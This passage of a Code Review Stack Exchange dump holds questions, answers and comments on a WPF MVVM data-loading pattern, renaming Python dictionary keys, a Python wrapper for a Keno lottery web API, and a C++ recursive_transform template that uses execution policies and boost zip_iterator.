"body": "@BCdotWEB Thank you!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T19:43:25.503",
"Id": "521164",
"Score": "0",
"body": "The title to your question is too generic. Please follow the guidelines: https://codereview.stackexchange.com/help/how-to-ask ."
}
] |
[
{
"body": "<p>Some quick remarks:</p>\n<ul>\n<li><p><code>PersonId</code> (in <code>Person</code>) is IMHO not a great pattern. IMHO you shouldn't prefix a property name with its class name.</p>\n</li>\n<li><p><code>IDatabaseService</code> is far to generic a name. I'd use <code>PersonService</code> and use that class to handle all <code>Person</code>-related queries. Then you can have more generic names like <code>GetAll()</code> instead of <code>GetPeople()</code>.</p>\n</li>\n<li><p>Use descriptive names. <code>details</code> as in <code>var details = conn.Query<Person>(query);</code> is not the correct name.</p>\n</li>\n<li><p>I don't find <code>InsertPerson</code> a great method name. To me it should be something like <code>Create</code> (along with <code>Edit</code> and <code>Delete</code> or <code>Remove</code>).</p>\n</li>\n<li><p>Why do you do this:</p>\n<pre><code> DatabaseService databaseService = new DatabaseService();\n _databaseService = databaseService;\n</code></pre>\n<p>Why not simply do <code>_databaseService = new DatabaseService();</code>?</p>\n<p>(Also you should use Dependency Injection to inject such a service.)</p>\n</li>\n<li><p>Don't put pointless comments all over the place. Comments should be rare and should only be used to explain why something is implemented the way it is. If you need the comment <code>// Load data method</code> it means your method name is not clear enough.</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T20:41:15.500",
"Id": "521167",
"Score": "0",
"body": "I understand your points - but overall the `.Clear()` then `.ForEach(...Add(record))` is that ok to use?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T13:13:36.163",
"Id": "521293",
"Score": "0",
"body": "@Squirrel.98 It's been too long since I've done WPF, but to me iSR5's solution -- `new ObservableCollection<Person>(_databaseService.GetPeople());` -- seems better: one line, no `ForEach`."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T19:57:21.927",
"Id": "263912",
"ParentId": "263899",
"Score": "0"
}
},
{
"body": "<p>Add a <code>Repository</code> layer which would be between <code>Data</code> and <code>Service</code> layers. Never use <code>Service</code> directly to <code>Data</code> layer. The <code>Service</code> layer suppose to hold the business logic that would be applied on the <code>Repository</code> layer. Each <code>Service</code> can work with one or more repositories, but each repository should only work with one entity.\nHere is an example :</p>\n<pre><code>public class PersonRepository\n{\n public List<Person> GetPeople() { /* Dapper code here */ }\n\n public void InsertPerson(Person person) { /* Dapper code here */ }\n}\n\npublic class PersonService \n{\n private readonly PersonRepository _personRepo = new PersonRepository();\n \n public List<Person> GetPeople() \n { \n // if there is some business logic needed \n // you can add it here \n return _personRepo.GetPeople();\n }\n \n public List<Person> InsertPerson(Person person)\n { \n // if there is some business logic needed \n // you can add it here \n _personRepo.InsertPerson(person);\n } \n}\n</code></pre>\n<p>Each <code>Repository</code> should validate the object against the entity requirements (e.g. database table).</p>\n<p>Each <code>Service</code> should validate the object against the business logic requirements.</p>\n<p>In your view model, class properties should be at the top of the class not in between, and sort them by private properties first, then public properties comes after.</p>\n<p>This part :</p>\n<pre><code> // Contructor\npublic MainViewModel()\n{\n // Create database service and assign it to the readonly property\n DatabaseService databaseService = new DatabaseService();\n _databaseService = databaseService;\n\n LoadData();\n\n InsertDataCommand = new RelayCommand(InsertData);\n}\n \n// Load data method\nprotected void LoadData()\n{\n if(People == null)\n {\n People = new ObservableCollection<Person>();\n }\n People.Clear();\n _databaseService.GetPeople().ForEach(record => People.Add(record));\n}\n</code></pre>\n<p>can be simplified by this :</p>\n<pre><code> // Contructor\npublic MainViewModel()\n{\n _databaseService = new DatabaseService(); \n LoadData();\n InsertDataCommand = new RelayCommand(InsertData); \n}\n\n// Load data method\nprotected void LoadData()\n{\n People = new ObservableCollection<Person>(_databaseService.GetPeople());\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-19T09:07:23.503",
"Id": "525838",
"Score": "0",
"body": "What is this pattern called? Using the Repository.."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-19T11:34:45.343",
"Id": "525849",
"Score": "0",
"body": "@Squirrel.98 it has no official design pattern name that I'm aware of, but it's known by Repository/Service pattern."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T21:04:10.440",
"Id": "263913",
"ParentId": "263899",
"Score": "1"
}
},
{
"body": "<p>The way you implemented it looks absolute fine to me.</p>\n<p>I would initialized the ObservabaleCollection with object creation and make it as get-only property:</p>\n<pre><code>public ObservableCollection<Person> People { get; } = new ObservableCollection<Person>();\n</code></pre>\n<p>That avoids the risk of null reference exceptions or different collection objects.</p>\n<p>Clearing and recreating all objects is the simple case. It works but has the down side that the selected person within the grid disapears when realoding the persons (however, that may be ok in your use case).</p>\n<p>An more advanced way is to update exiting, remove deleted and insert new persons. That requires a lot more code (e.g. you have to implement a PersonVioewModel with property changed support) but has better user experience on the other hand.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T14:49:28.977",
"Id": "521305",
"Score": "0",
"body": "I like your last comment - do you know any resources with an example of what you have described? I'd like to look into it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-13T04:38:33.577",
"Id": "521345",
"Score": "1",
"body": "You have just to synchronize the two lists instead of recreating them: If item is in target but not in source, remove it; If item is in target and source, update it; if item is in source but not in target, add it. Here is an explaination of PropertyChanged implementation if you are not familiar with it: https://www.c-sharpcorner.com/article/explain-inotifypropertychanged-in-wpf-mvvm/"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T17:40:58.280",
"Id": "263958",
"ParentId": "263899",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "263913",
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T12:25:17.597",
"Id": "263899",
"Score": "1",
"Tags": [
"c#",
"mysql",
"mvvm",
"dapper"
],
"Title": "Is this method for loading data in a C# application recommended?"
}
|
263899
|
<p>I have a dictionary in Python (<code>uglyDict</code>) that has some really un-cool key names. I would like to rename them based on values from another dictionary (<code>keyMapping</code>). Here's an example of the dictionaries:</p>
<pre><code>uglyDict = {
"ORDER_NUMBER": "6492",
"Ship To - Name": "J.B Brawls",
"Ship To - Address 1": "42 BAN ROAD",
"Ship To - City": "Jimville",
"Ship To - State": "VA",
"Ship To - Postal Code": "42691"
}
keyMapping = {
"Market - Store Name": "WSCUSTOMERID",
"Ship To - Name": "ShipToCompany",
"Ship To - Country": "ShipToCountryCode",
"Ship To - Postal Code": "ShipToZipcode",
"Ship To - City": "ShipToCity",
"Date - Order Date": "OrderDate",
"Gift - Message": "SpecialInstructions",
"Customer Email": "ShipToEmail",
"Ship To - Address 2": "ShipToAddress2",
"Ship To - Address 1": "ShipToAddress1",
"Ship To - Phone": "ShipToPhoneNum",
"Order - Number": "ORDER_NUMBER",
"Ship To - State": "ShipToState",
"Carrier - Service Selected": "ShipMethod",
"Item - SKU": "PRODUCT_NUMBER",
"Item - Qty": "Quantity"
}
</code></pre>
<p>Here is my code so far to rename <code>uglyDict</code>'s keys:</p>
<pre><code>prettyDict = {}
for mkey, mval in keyMapping.items():
for ukey in uglyDict.keys():
if mkey == ukey:
prettyDict[mval] = uglyDict[mkey]
print(prettyDict)
</code></pre>
<p>The code works as desired, and prints the dictionary with renamed keys as shown below:</p>
<pre><code>{'ORDER_NUMBER': '6492', 'ShipToCompany': 'J.B Brawls', 'ShipToAddress1': '42 BAN ROAD', 'ShipToCity': 'Jimville', 'ShipToState': 'VA', 'ShipToZipcode': '42691'}
</code></pre>
<p>My question is, is there any more efficient/more Pythonic way to do this? Preferably one where I don't have to loop over the keys of both dictionaries. I am using this code with much larger dictionaries and performance is needed.<br />
Any insight is welcome!</p>
|
[] |
[
{
"body": "<p>I'd use a dict comprehension:</p>\n<pre><code>pretty_dict = {replacement_keys[k]: v for k, v in ugly_dict.items()}\n</code></pre>\n<p>This throws an error if <code>replacement_keys</code> (<code>keyMapping</code>) is missing any <code>k</code>. You might want to handle that with a default that falls back to the original key:</p>\n<pre><code>pretty_dict = {replacement_keys.get(k, k): v for k, v in ugly_dict.items()}\n</code></pre>\n<p>Time complexity is linear, assuming constant time dict lookups.</p>\n<p>The main point of dicts is fast lookups, not iteration, so alarm bells should sound if you find yourself doing nested loops over multiple dicts.</p>\n<hr />\n<p>Style suggestions:</p>\n<ul>\n<li>Use <code>snake_case</code> rather than <code>camelCase</code> per <a href=\"https://www.python.org/dev/peps/pep-0008/#function-and-variable-names\" rel=\"noreferrer\">PEP-8</a>.</li>\n<li>Generally avoid appending the type to every variable, <code>users_count</code>, <code>source_string</code>, <code>names_list</code>, <code>translation_dict</code> and so forth, although I assume this is for illustrative purposes here.</li>\n<li><code>.keys()</code> is superfluous as far as I know, but then again it doesn't hurt. You shouldn't need to loop over keys on a dict often.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T15:12:36.403",
"Id": "521143",
"Score": "3",
"body": "This is a very nice solution, thank you! I love it when Python comprehension can be used."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T15:13:56.223",
"Id": "521144",
"Score": "0",
"body": "Although when I said more Pythonic I wasn't asking about pothole case "
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T08:09:24.377",
"Id": "521188",
"Score": "7",
"body": "@NoahBroyles regardless of whether you consider it pothole case and abominable it is the recommended standard for Python code. Style suggestions are important and good on ggorlen for providing them!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T17:16:43.000",
"Id": "521224",
"Score": "0",
"body": "I agree -- most coding style decisions are non-decisions. When in Rome, do as the Romans. Otherwise, you raise cognitive load for people reading the code and your linter won't shush. Older libraries like BeautifulSoup have gone so far as to rewrite their camelCased API to pothole_case, so now they have 2 functions per name: legacy `findAll` and idiomatic `find_all`. When I see Python code with camelCase, 99% of the time it's low-quality in other regards."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T00:06:36.183",
"Id": "521239",
"Score": "0",
"body": "@NoahBroyles Pythonic means following the idioms of Python. Of which PEP 8 is a large part of the culture for many people. Another notable one is PEP 20 (`import this`). In the future, please be more clear when using terms in non-standard ways."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T15:02:04.443",
"Id": "263905",
"ParentId": "263904",
"Score": "19"
}
},
{
"body": "<p>The point of dictionaries is that lookup is fast, but you are not using that even though your <code>keyMapping</code> already is a dictionary. Let us look at your code.</p>\n<pre><code>prettyDict = {}\nfor mkey, mval in keyMapping.items():\n for ukey in uglyDict.keys():\n if mkey == ukey:\n prettyDict[mval] = uglyDict[mkey]\n</code></pre>\n<p>Even if <code>uglyDict</code> is small, you iterate over all element of the key mapping. This seems to be a bad starting point, so let us reverse the two loops.</p>\n<pre><code>prettyDict = {}\nfor ukey in uglyDict.keys():\n for mkey, mval in keyMapping.items():\n if mkey == ukey:\n prettyDict[mval] = uglyDict[mkey]\n</code></pre>\n<p>In the last line, <code>mkey</code> equals <code>ukey</code>, so we can change that to <code>uglyDict[ukey]</code>, and of course you know how to avoid that lookup altogether:</p>\n<pre><code>prettyDict = {}\nfor ukey, uval in uglyDict.items():\n for mkey, mval in keyMapping.items():\n if mkey == ukey:\n prettyDict[mval] = uval\n</code></pre>\n<p>Let us now concentrate on the middle part:</p>\n<pre><code> for mkey, mval in keyMapping.items():\n if mkey == ukey:\n</code></pre>\n<p>Here we look for the value of <code>ukey</code> in <code>keyMapping</code>, but surely that is what dictionaries are for and we don't have to iterate over all items to do so.</p>\n<pre><code>prettyDict = {}\nfor ukey, uval in uglyDict.items():\n if ukey in keyMapping:\n mval = keyMapping[ukey]\n prettyDict[mval] = uval\n</code></pre>\n<p>This is much better. From here, we can reformulate this using a dictionary comprehension like in ggorien's answer, if you prefer that.</p>\n<pre><code>prettyDict = {\n keyMapping[ukey]: uval\n for ukey, uval in uglyDict.items()\n if ukey in keyMapping\n}\n</code></pre>\n<p>More importantly, you should decide how to handle the case that <code>ukey</code> is not in <code>keyMapping</code>. (Your example seems to have that got wrong with <code>ORDER_NUMBER</code>, btw.) If this would be a error, just omit the <code>if ukey in keyMapping</code> and handle the exception elsewhere. Or maybe you would like to keep the original key in that case:</p>\n<pre><code>prettyDict = {\n keyMapping.get(ukey, ukey): uval\n for ukey, uval in uglyDict.items()\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T12:34:04.930",
"Id": "263945",
"ParentId": "263904",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "263905",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T14:48:38.030",
"Id": "263904",
"Score": "9",
"Tags": [
"python",
"performance",
"python-3.x",
"hash-map"
],
"Title": "Efficient renaming of dict keys from another dict's values - Python"
}
|
263904
|
<p>I've written a program that gets the web API endpoint for some functions on a website. I'm just wondering if you guys see anything I could do to improve the code at all.</p>
<pre><code>import sys
import requests
import dateutil
class KenoBase:
'''
Methods that are to be inherited to 'KenoAPI' class.
Do not use this class, instead use 'KenoAPI''.
'''
def __init__(self, state="NT"):
self.__state__ = state.upper()
self.__states__ = ["ACT", "NSW", "QLD", "VIC", "WA", "NT", "SA", "TAS"]
self.__base_url__ = "https://api-info-{}.keno.com.au".format(
self.__state_redirect__.lower())
def __get_url__(self, end_point="", additional_params=""):
'''
Private Method:
concatenates the base URL and the endpoint together a
long with additional parameters
'''
end_point = str(end_point)
params = "?jurisdiction={}".format(
self.__state_redirect__) + additional_params
complete_url = self.__base_url__ + end_point + params
return str(complete_url)
@property
def __state_redirect__(self):
'''
Private Method:
redirects user input
'''
if any(x == self.__state__ for x in self.__states__) is False:
return sys.exit(str("Check state input: '{}' - is invalid").format(
self.__state__))
if self.__state__ == self.__states__[4]:
print("Keno is not available in WA-Automatically changed to NSW")
self.__state__ = self.__states__[2]
return self.__state__
redirect = [self.__states__[5], self.__states__[6], self.__states__[7]]
if any(x == self.__state__ for x in redirect) is True:
print(str("Keno is not available in '{}', this state uses ACT ").format(
self.__state__))
self.__state__ = self.__states__[0]
return self.__state__
return self.__state__
# noinspection PyDefaultArgument
@staticmethod
def __nested_dict__(key=dict, additional_key=""):
'''
Private Method:
this function speeds up the lookup times for nested dictionaries
'''
return key.get(additional_key)
def __transform_time__(self, _datetime):
pass
'''
Private Method:
Transforms a date in a datetime object with the correct
time information, it also factors in daylight savings
currently working on adding tz and dst to this function
'''
return dateutil.parser.isoparse(_datetime).strftime("%Y-%m-%d %H:%M:%S.%f")
def __results_selection__(self, initial_draw=1,
total_draws=1, start_date="2021-02-08", page_size=1, page_number=1):
'''
Private Method:
initial_draw: the first game number
total_draws: how many games you want to select
start_date: which date you would like to get the games from
page_size: how many games are on each page
page_number: if your page size is less than the total draws the games will be split among multiple pages
Min adn Max values for a each parameter
game_number: Min: 0, Max: 999
Number of Games: Min:1, Max:200
page_size: Min:1, Max:200
page_number: Min:1, Max:100
'''
url = self.__get_url__(end_point="/v2/info/history", additional_params="&starting_game_number={}&number_of_games={}&date={}&page_size={}&page_number={}").format(
initial_draw, total_draws, start_date, page_size, page_number)
return dict(requests.get(url).json())
class KenoAPI(KenoBase):
'''
Has all possible URL endpoints.
To learn more visit the wiki. https://github.com/JGolafshan/KenoAPI/wiki/Keno-API-Functions
'''
def __init__(self, state):
super().__init__(state)
def game_status(self):
'''
Public Method:
Desc: Retrieves information about the current and next game
'''
url = self.__get_url__(end_point="/v2/games/kds", additional_params="")
retrieved = dict(requests.get(url).json())
status_current = {
"starting_time": self.__transform_time__(_datetime=self.__nested_dict__(key=retrieved.get("current"), additional_key="closed")),
"game_number": self.__nested_dict__(key=retrieved.get("current"), additional_key="game-number")
}
status_selling = {
"starting_time": self.__transform_time__(_datetime=self.__nested_dict__(key=retrieved.get("selling"), additional_key="closing")),
"game_number": self.__nested_dict__(key=retrieved.get("selling"), additional_key="game-number")
}
status = {
"state": self.__state__,
"current_game": status_current,
"next_game": status_selling
}
return status
def live_draw(self):
'''
Public Method:
Desc: Retrieves data from the current draw
'''
url = self.__get_url__(end_point="/v2/games/kds", additional_params="")
retrieved = dict(requests.get(url).json().get("current"))
status = str(retrieved.get("_type")).split(".")
status_type = status[-1]
live_draw = {
"state": self.__state__,
"game_number": retrieved.get("game-number"),
"status": status_type,
"started_at": self.__transform_time__(_datetime=retrieved.get("closed")),
"is_finished": None,
"draw_numbers": retrieved.get("draw"),
"bonus": self.__nested_dict__(retrieved.get("variants"), additional_key="bonus"),
"heads": self.__nested_dict__(retrieved.get("variants"), additional_key="heads-or-tails")["heads"],
"tails": self.__nested_dict__(retrieved.get("variants"), additional_key="heads-or-tails")["tails"],
"result": self.__nested_dict__(retrieved.get("variants"), additional_key="heads-or-tails")["result"]
}
if retrieved.get("_type") == "application/vnd.tabcorp.keno.game.complete":
live_draw.update({"is_finished": bool(True)})
else:
live_draw.update({"is_finished": bool(False)})
return live_draw
def jackpot(self):
'''
Public Method:
Desc: Retrieves MegaMillions(leveraged) and Regular jackpots
'''
url = self.__get_url__(
end_point="/v2/info/jackpots", additional_params="")
retrieved = dict(requests.get(url).json())["jackpots"]
jackpot_regular = {
"ten_spot": self.__nested_dict__(key=retrieved.get("ten-spot"), additional_key="base"),
"nine_spot": self.__nested_dict__(key=retrieved.get("nine-spot"), additional_key="base"),
"eight_spot": self.__nested_dict__(key=retrieved.get("eight-spot"), additional_key="base"),
"seven_spot": self.__nested_dict__(key=retrieved.get("seven-spot"), additional_key="base")
}
jackpot_leveraged = {
"ten_spot": self.__nested_dict__(key=retrieved.get("ten-spot-mm"), additional_key="base"),
"nine_spot": self.__nested_dict__(key=retrieved.get("nine-spot-mm"), additional_key="base"),
"eight_spot": self.__nested_dict__(key=retrieved.get("eight-spot-mm"), additional_key="base"),
"seven_spot": self.__nested_dict__(key=retrieved.get("seven-spot-mm"), additional_key="base")
}
jackpot_combined = {
"state": self.__state__,
"regular": jackpot_regular,
"leveraged": jackpot_leveraged
}
return jackpot_combined
def hot_cold(self):
'''
Public Method:
Desc: Retrieves trending numbers which are defined the official keno website
'''
url = self.__get_url__(
end_point="/v2/info/hotCold", additional_params="")
retrieved = dict(requests.get(url).json())
hot_cold = {
"cold": retrieved.get("coldNumbers"),
"hot": retrieved.get("hotNumbers"),
"last_updated": retrieved.get("secondsSinceLastReceived"),
"state": self.__state__
}
return hot_cold
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T15:59:09.203",
"Id": "521149",
"Score": "0",
"body": "Can you show how this is invoked?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T16:06:31.703",
"Id": "521150",
"Score": "0",
"body": "Calling `KenoAPI('NT').game_status()` fails - you're not checking for the success of your `get`, but it's returning a 403."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T16:24:20.553",
"Id": "521151",
"Score": "0",
"body": "In fact the site seems entirely down, as I get a 403 no matter what URL I visit"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T01:17:25.267",
"Id": "521176",
"Score": "0",
"body": "Hey, I'm not too sure what happened to the website, When I posted this everything was working fine. Seems like bad luck that it happened when it did."
}
] |
[
{
"body": "<p>Aside the fact that I can't test anything due to the site being down, the code has some issues that could be cleaned up:</p>\n<ul>\n<li>It's not clear why <code>KenoBase</code> exists - there's only one child, and I don't see this buying you any useful abstraction</li>\n<li>You need to get out of the habit of <code>__decorating__</code> your members. Double underscores are reserved for name mangling. Private variables in Python are very much "by convention" instead of being enforced, and use a single leading underscore rather than leading and trailing dunders.</li>\n<li>The <code>params = "?jurisdiction={}"</code> setup you do is unneeded, and should be rewritten as a <code>params</code> kwarg dict passed into <code>get()</code> rather than being baked into the URL</li>\n<li><code>str(complete_url)</code> is redundant; that's already a string</li>\n<li><code>if any(...) is False</code> should be <code>if not any(...)</code>; and <code>if any(...) is True</code> should be <code>if any(...)</code></li>\n<li>Consider replacing your <code>format()</code> calls with interpolated f-strings</li>\n<li><code>return sys.exit</code> makes no sense. <code>exit</code> will raise an exception meant to cut through the stack and terminate the program, and so certainly the return will not happen.</li>\n<li><code>key=dict</code> is a mystery. You're setting the default of the <code>key</code> argument to be a <em>type</em>. If you allow the default to be set, then <code>key.get()</code> is going to explode.</li>\n<li>The <code>pass</code> in <code>transform_time</code> can be deleted</li>\n<li>There is no need to re-cast the result of <code>json()</code> into a <code>dict</code>; it's already a <code>dict</code></li>\n</ul>\n<p>Lines like this:</p>\n<pre><code>dict(requests.get(url).json())\n</code></pre>\n<p>should be</p>\n<pre><code>with requests.get(url) as response:\n response.raise_for_status()\n retrieved = response.json()\n</code></pre>\n<p>otherwise, when the site fails (as it is now with a 403) your application will not fail as early as it should, and the error will be much less clear.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T01:23:47.823",
"Id": "521177",
"Score": "0",
"body": "Hey, thanks for all the useful pointers, regarding the private methods, is there any way I can make them so they can only be used inside the class, for example when __KenoAPI(\"NT\")__ is called I don't want the user to have access to __state_redirect__"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T03:14:43.063",
"Id": "521178",
"Score": "1",
"body": "Not really, no. Convention is that privates are marked with one underscore, but they can still be accessed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T15:08:40.180",
"Id": "521210",
"Score": "0",
"body": "I found something regarding this, using '__decorating' hides the function or variable when calling it outside the class."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T15:21:54.277",
"Id": "521211",
"Score": "1",
"body": "Don't do it. Read https://stackoverflow.com/questions/7456807/python-name-mangling"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T16:35:44.337",
"Id": "263909",
"ParentId": "263906",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "263909",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T15:25:14.323",
"Id": "263906",
"Score": "1",
"Tags": [
"python",
"web-scraping",
"api"
],
"Title": "Python script that get a web API"
}
|
263906
|
<p>This is a follow-up question for <a href="https://codereview.stackexchange.com/q/263767/231235">A recursive_transform template function for the binary operation cases in C++</a>, <a href="https://codereview.stackexchange.com/q/257757/231235">A recursive_transform Template Function with Unwrap Level for Various Type Arbitrary Nested Iterable Implementation in C++</a>, <a href="https://codereview.stackexchange.com/q/253665/231235">A recursive_transform Template Function Implementation with std::invocable Concept and Execution Policy in C++</a> and <a href="https://codereview.stackexchange.com/q/251208/231235">A recursive_print Function For Various Type Arbitrary Nested Iterable Implementation in C++</a>. The <a href="https://en.cppreference.com/w/cpp/algorithm/execution_policy_tag_t" rel="nofollow noreferrer">execution policy parameter is available since C++17</a>. I am trying to add this into the <code>recursive_transform</code> template function. Considering <a href="https://stackoverflow.com/q/9975944/6667035">std::for_each working on more than one range of iterators</a>, the <a href="https://www.boost.org/doc/libs/1_76_0/libs/iterator/doc/zip_iterator.html" rel="nofollow noreferrer">boost::zip_iterator</a> is used here. The experimental version code is as below.</p>
<p><strong>The experimental implementation</strong></p>
<ul>
<li><p><code>recursive_transform</code> template function for the binary operation cases with execution policy:</p>
<pre><code>#define USE_BOOST_ITERATOR
#ifdef USE_BOOST_ITERATOR
#include <boost/iterator/zip_iterator.hpp>
// recursive_transform for the binary operation cases (the version with unwrap_level, with execution policy)
template<std::size_t unwrap_level = 1, class ExPo, class T1, class T2, class F>
requires (std::is_execution_policy_v<std::remove_cvref_t<ExPo>>)
constexpr auto recursive_transform(ExPo execution_policy, const F& f, const T1& input1, const T2& input2)
{
if constexpr (unwrap_level > 0)
{
recursive_variadic_invoke_result_t<unwrap_level, F, T1, T2> output{};
assert(input1.size() == input2.size());
std::mutex mutex;
// Reference: https://stackoverflow.com/a/10457201/6667035
// Reference: https://www.boost.org/doc/libs/1_76_0/libs/iterator/doc/zip_iterator.html
std::for_each(execution_policy,
boost::make_zip_iterator(
boost::make_tuple(std::ranges::cbegin(input1), std::ranges::cbegin(input2))
),
boost::make_zip_iterator(
boost::make_tuple(std::ranges::cend(input1), std::ranges::cend(input2))
),
[&](auto&& elements)
{
auto result = recursive_transform<unwrap_level - 1>(execution_policy, f, boost::get<0>(elements), boost::get<1>(elements));
std::lock_guard lock(mutex);
output.emplace_back(std::move(result));
}
);
return output;
}
else
{
return f(input1, input2);
}
}
#endif
</code></pre>
</li>
<li><p><code>recursive_variadic_invoke_result_t</code> struct implementation</p>
<pre><code>// recursive_variadic_invoke_result_t implementation
template<std::size_t, typename, typename, typename...>
struct recursive_variadic_invoke_result { };
template<typename F, class...Ts1, template<class...>class Container1, typename... Ts>
struct recursive_variadic_invoke_result<0, F, Container1<Ts1...>, Ts...>
{
using type = std::invoke_result_t<F, Container1<Ts1...>, Ts...>;
};
template<typename F, class...Ts1, template<class...>class Container1, typename... Ts>
struct recursive_variadic_invoke_result<1, F, Container1<Ts1...>, Ts...>
{
using type = Container1<std::invoke_result_t<F,
std::ranges::range_value_t<Container1<Ts1...>>,
std::ranges::range_value_t<Ts>...>>;
};
template<std::size_t unwrap_level, typename F, class...Ts1, template<class...>class Container1, typename... Ts>
requires ( std::ranges::input_range<Container1<Ts1...>> &&
requires { typename recursive_variadic_invoke_result<
unwrap_level - 1,
F,
std::ranges::range_value_t<Container1<Ts1...>>,
std::ranges::range_value_t<Ts>...>::type; }) // The rest arguments are ranges
struct recursive_variadic_invoke_result<unwrap_level, F, Container1<Ts1...>, Ts...>
{
using type = Container1<
typename recursive_variadic_invoke_result<
unwrap_level - 1,
F,
std::ranges::range_value_t<Container1<Ts1...>>,
std::ranges::range_value_t<Ts>...
>::type>;
};
template<std::size_t unwrap_level, typename F, typename T1, typename... Ts>
using recursive_variadic_invoke_result_t = typename recursive_variadic_invoke_result<unwrap_level, F, T1, Ts...>::type;
</code></pre>
</li>
</ul>
<p><strong>The full testing code</strong></p>
<pre><code>// A recursive_transform template function for the binary operation cases with execution policy in C++
#include <algorithm>
#include <array>
#include <cassert>
#include <chrono>
#include <complex>
#include <concepts>
#include <deque>
#include <execution>
#include <exception>
#include <functional>
#include <iostream>
#include <iterator>
#include <list>
#include <map>
#include <mutex>
#include <numeric>
#include <optional>
#include <ranges>
#include <stdexcept>
#include <string>
#include <tuple>
#include <type_traits>
#include <utility>
#include <variant>
#include <vector>
// recursive_print implementation
template<typename T>
constexpr void recursive_print(const T& input, const int level = 0)
{
std::cout << std::string(level, ' ') << input << '\n';
}
template<std::ranges::input_range Range>
constexpr void recursive_print(const Range& input, const int level = 0)
{
std::cout << std::string(level, ' ') << "Level " << level << ":" << "\n";
std::ranges::for_each(input, [level](auto&& element) {
recursive_print(element, level + 1);
});
}
// recursive_invoke_result_t implementation
template<std::size_t, typename, typename>
struct recursive_invoke_result { };
template<typename T, typename F>
struct recursive_invoke_result<0, F, T> { using type = std::invoke_result_t<F, T>; };
template<std::size_t unwrap_level, typename F, template<typename...> typename Container, typename... Ts>
requires (std::ranges::input_range<Container<Ts...>> &&
requires { typename recursive_invoke_result<unwrap_level - 1, F, std::ranges::range_value_t<Container<Ts...>>>::type; })
struct recursive_invoke_result<unwrap_level, F, Container<Ts...>>
{
using type = Container<typename recursive_invoke_result<unwrap_level - 1, F, std::ranges::range_value_t<Container<Ts...>>>::type>;
};
template<std::size_t unwrap_level, typename F, typename T>
using recursive_invoke_result_t = typename recursive_invoke_result<unwrap_level, F, T>::type;
// recursive_transform implementation (the version with unwrap_level, with execution policy)
template<std::size_t unwrap_level = 1, class ExPo, class F, class T>
requires (std::is_execution_policy_v<std::remove_cvref_t<ExPo>>)
constexpr auto recursive_transform(ExPo execution_policy, const F& f, const T& input)
{
if constexpr (unwrap_level > 0)
{
recursive_invoke_result_t<unwrap_level, F, T> output{};
std::mutex mutex;
// Reference: https://en.cppreference.com/w/cpp/algorithm/for_each
std::for_each(execution_policy, input.cbegin(), input.cend(),
[&](auto&& element)
{
auto result = recursive_transform<unwrap_level - 1>(execution_policy, f, element);
std::lock_guard lock(mutex);
output.emplace_back(std::move(result));
}
);
return output;
}
else
{
return f(input);
}
}
// recursive_variadic_invoke_result_t implementation
template<std::size_t, typename, typename, typename...>
struct recursive_variadic_invoke_result { };
template<typename F, class...Ts1, template<class...>class Container1, typename... Ts>
struct recursive_variadic_invoke_result<0, F, Container1<Ts1...>, Ts...>
{
using type = std::invoke_result_t<F, Container1<Ts1...>, Ts...>;
};
template<typename F, class...Ts1, template<class...>class Container1, typename... Ts>
struct recursive_variadic_invoke_result<1, F, Container1<Ts1...>, Ts...>
{
using type = Container1<std::invoke_result_t<F,
std::ranges::range_value_t<Container1<Ts1...>>,
std::ranges::range_value_t<Ts>...>>;
};
template<std::size_t unwrap_level, typename F, class...Ts1, template<class...>class Container1, typename... Ts>
requires ( std::ranges::input_range<Container1<Ts1...>> &&
requires { typename recursive_variadic_invoke_result<
unwrap_level - 1,
F,
std::ranges::range_value_t<Container1<Ts1...>>,
std::ranges::range_value_t<Ts>...>::type; }) // The rest arguments are ranges
